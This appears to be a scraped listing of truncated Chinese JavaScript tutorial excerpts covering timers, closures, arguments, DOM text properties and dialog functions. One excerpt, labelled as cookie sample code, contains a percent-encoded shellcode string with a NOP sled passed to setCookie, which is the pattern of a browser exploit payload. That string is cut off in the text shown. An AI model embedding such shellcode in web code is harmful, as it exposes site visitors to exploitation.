从基础的层面来讲,理解JavaScript的定时器是如何工作的是非常重要的。定时器的执行常常和我们的直观想象不同,那是因为JavaScript引擎是单线程的。我们先来认识一下下面三个函数是如何控制计时器的。 脚本之家推荐阅读:雕虫无小技 JavaScript初学者的10个迷你技巧 代码如下: var id = setTimeout(fn, delay); 初始化一个计时器,然后在指定的时间间隔后执行。该函数返回一个唯一的标志ID(Number类型),我们可以使用它来取消计...
中文汉字排序、 中英文混合排序、 数据大小排序、 文件类型排序(后缀名排序) 日期时间排序、 价格排序、 中文混合数字排序; 使用方法:文档载入后new tableListSort(arguments,arguments)。 接受两个参数:第一个参数为必须的,可以是字符串ID,也可以是table对象;第二个可选参数,此参数为一个对象,{data:index,fileType:index,fn:function(){}};对象有三个可选的属性,第一个和第二个为扩展排序的数据类型,第三个参数为排序后需...
原始值和引用值 在ECMAScript中,变量可以存放两种类型的值,即原始值和引用值。 原始值指的就是代表原始数据类型(基本数据类型)的值,即Undefined,Null,Number,String,Boolean类型所表示的值。 引用值指的就是复合数据类型的值,即Object,Function,Array,以及自定义对象,等等 栈和堆 与原始值与引用值对应存在两种结构的内存即栈和堆 栈是一种后进先出的数据结构,在javascript中可以通过Array来模拟栈的行为 代码如下: var ar...
在每个函数中,都有个名为 arguments 的变量,它以类似数组的形式保存了当前调用的参数。而它实际上并不是个数组,使用 typeof arguments 语句尝试会返回“object”(对象),所以它不能像 Array 一样使用 push 和 pop 等方法。即便如此,仍然可以使用下标以及长度属性(length)获取它的值。 编写灵活的函数 虽看起来名不经传,但的确 arguments 是非常有用的对象。比如,你可以让函数处理不定数目的参数。在 Dean Edwards 写的 b...
isPlainObject是Jquery1.4后提供的新方法,用于判断对象是否是纯粹的对象(通过 "{}" 或者 "new Object" 创建的)。 使用isPlainObject 首先我们来了解一下什么叫'纯粹的对象',简单的理解'纯粹的对象'指的就是由Object构造出来的对象。那哪些对象是由Object构造出来的呢。首当其充的肯定是由new Object()所构造出来的对象,注意:在Object后的括号里可没加任何东西。因为Object是所有'类'的根基,因此它有一些特殊的行为,如当调...
textContent与innerText的不同 IE下有个innerText属性,FF下有个textContent属性。很多以前给IE写脚本的,在FF下找不到innerText属性,于是网上搜到的建议是用textContent来替代。反之给FF写脚本的也一样。 但是实际上,这里有个误解。网上很多文章说“FF下等效于innerText属性的属性是textContent”————但是事实上并非如此。innerText与textContent有几点很重要的不同,导致它们在一些情况下不能直接互换使用。 前些日子写了个...
由于顶级对象是使用类库几乎所有功能的入口,在编码中会频繁地输入这几个字符,因此在设计类库时,顶级对象名输入的简便性也是相当重要的。 在此将从对象名称的长度、输入对象名称的按键顺序这两个方面对三个类库进行重点比较,同时力求照顾到一些特别的点,从而得出一个较为全面的评测结果。 名称长度 jQuery共有6个字符组成,从长度上而言是三个类库中最长的一个,同时包含了一个大写字母Q,在输入过程中需要加入一次SHIFT键,因...
BOM与DOM的区别 §DHTML技术各项功能的实现都依赖于使用客户端脚本与浏览器宿主及在宿主中输出的Web页面之间的交互,这种交互是通过对象这个技术手段实现的。 §BOM即Browser Object Model浏览器对象模型,是在客户端脚本核心的基础上实现的扩展API,通过该API可以使用脚本访问浏览器窗口及其文档对象的各个方面。BOM从IE3.0/NS3.0开始引入。 §在BOM API中,把Web浏览器的各个主要外显特性、Web页面及其标记、内容等都封装成一个个对...
cookie示例代码: 代码如下: //存放 function setCookie(sVar, sVal){ theCookie = sVar + = + sVal + ; expires=Fri, 1 Jul 2020 09:45:27 UTC; document.cookie = theCookie;} shellcode="%9090%9090%00e8%0000%5e00%8b64%303d%0000%8100%00c7%0008%8b00%83c7%1dc0%20b9%0001%a500%fde2%e0ff%00e8%0000%6a00%eb08%1b6c%46c6%ed79%ef56%9836%8afe%aa0e%0dfc%9e7c%bbf9%b035%2d49%7edb%e2d8%8e73%0e4e%75ec......" setCookie(Evil...
在ECMAScript中,在函数声明处向函数外部看到的声明的所有变量,在函数内部都能访问到它们的最终值! 闭包函数只能访问变量的最终值!!! eg: function fnTest(arr) { for (var i=0;i < arr.length;i++) { arr[i]=function () { alert(i+" | "+arr[i]); }; } } var arr = [0,1,2,3]; fnTest(arr); for (var i=0;i < arr.length;i++) { arr[i](); //始终输出4还有一个undefined因为函数退出后,i值为4,所以访问...
空格处理 当在DIV中输入"a[任意个空格]a" HTML呈现在Chrome和IE下是一样的:只显示一个空格。 innerHTML属性IE还是两个a加一个空格, Chrome则是原始输入的样子。 回车 当在DIV中输入"a[回车][任意个空格]a"时,HTML呈现Chrome和IE是一样的。 innerHTML属性IE是3个字符,在两个a中间加了个空格。 Chrome则是原始输入的样子,将回车解析为\n。 HTML标记 当在DIV中输入"aa" HTML呈现在Chrome和IE下是一样的。 innerHTML属性IE中是...
官方解释 “闭包”是一个拥有许多变量和绑定了这些变量的环境表达式(通常是一个函数),因而这些变量也是环境表达式的一部分。 通俗解释 Javascript中所有的函数都是一个闭包。不过一般来说,嵌套的function产生的闭包更为强大,也是大部分时候我们所说的“闭包”。看如下代码: 代码如下: //外层函数a function a(){ //临时变量i var i = 0; //内层函数b function b(){ //引用外层临时变量i alert(++i); } //执行结果,返回内层...
经过分析,发现网页中存在类似如下的代码: 分析:特别注意 onerror,当图片不存在时,将触发 onerror,而 onerror 中又为 img 指定一个 NoPic.gif 图片。也就是说图片存在则显示 ,图片不存在将显示 noPic.gif。但问题来了,如果 noPic.gif 也不存在,则继续触发 onerror,导致循环,故出现错误。 说明:如果图片存在,但网络很不通畅,也可能触发 onerror。 解决方法: 第一种::.去掉 onerror 代码;或者更改 onerror 代码为其...
window.alert:参数,只有一个,显示警告框的信息; 无返回值. window.alert("确定.") window.confirm : 参数就只有一个.显示提示框的信息. 按确定,返回true; 按取消返回false. var bln = window.confirm("确定吗?"); alert(bln) window.prompt:参数,有两个, 第一个参数,显示提示输入框的信息. 第二个参数,用于显示输入框的默认值. 返回,用户输入的值. 代码如下: var str = window.prompt("请输入密码","password") alert(str...
var a=false; !a&&alert("hi"); 解释 a为真才继续往下执行,所以会弹出hi var a=a||"hi"; 解释 当a为假的时候会继续执行,当a为真的时候跳出这个语句,所以可以通过这个办法复制默认值 上面的方法并非所有语言都是如此处理,比如PHP $a=@$a||"hi"; echo $a;//1 php把(@$a||"hi")之后的值赋值过去了... $a=true; !$a&&echo "hi"; 直接报错:syntax error, unexpected T_ECHO 关于prototype 很多情况下看到prototype都想到只有对象的情况下...